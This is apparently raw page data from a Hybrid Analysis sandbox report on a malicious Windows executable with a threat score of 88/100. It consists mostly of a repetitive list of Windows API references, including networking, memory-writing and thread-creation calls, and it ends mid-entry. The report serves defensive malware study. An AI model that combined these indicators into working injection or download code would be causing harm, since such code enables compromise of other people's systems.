21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 40:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4bf,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 28df48dc92fe… — Score 88/100 — Hybrid Analysis","description":"Malicious verdict for sample 28df48dc92fe…. Malware family: Win/malicious_confidence_70%. Threat score 88/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6","additionalType":"Malicious sample"},"threatScore":88,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":3,"total":26},"behavioralIndicators":{"malicious":4,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T9bff,Found reference to API (Indicator: "WaitForMultipleObjects"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetStdHandle"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "ResumeThread"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SetWaitableTimer"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SetThreadContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "RaiseFailFastException"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "DuplicateHandle"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "WaitForSingleObject"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetConsoleMode"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetSystemInfo"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "VirtualQuery"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "VirtualAlloc"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "LoadLibraryExW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "LoadLibraryW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "AddVectoredContinueHandler"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "TlsAlloc"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "CreateThread"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "CloseHandle"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "WerSetFlags"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "WerGetFlags"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "WriteConsoleW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetProcAddress"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetThreadContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SuspendThread"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "ExitProcess"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetErrorMode"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "VirtualFree"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SwitchToThread"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SetErrorMode"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SetEvent"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "CreateEventA"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "WriteFile"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InternetConnectW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "HttpSendRequestW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "HttpOpenRequestW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InternetCrackUrlW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InternetSetOptionA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LdrGetProcedureAddress"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "NtAllocateVirtualMemory"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "NtFreeVirtualMemory"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "NtReadVirtualMemory"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "NtWriteVirtualMemory"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "RtlCreateUserThread"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LdrLoadDll"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "lstrcatW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: 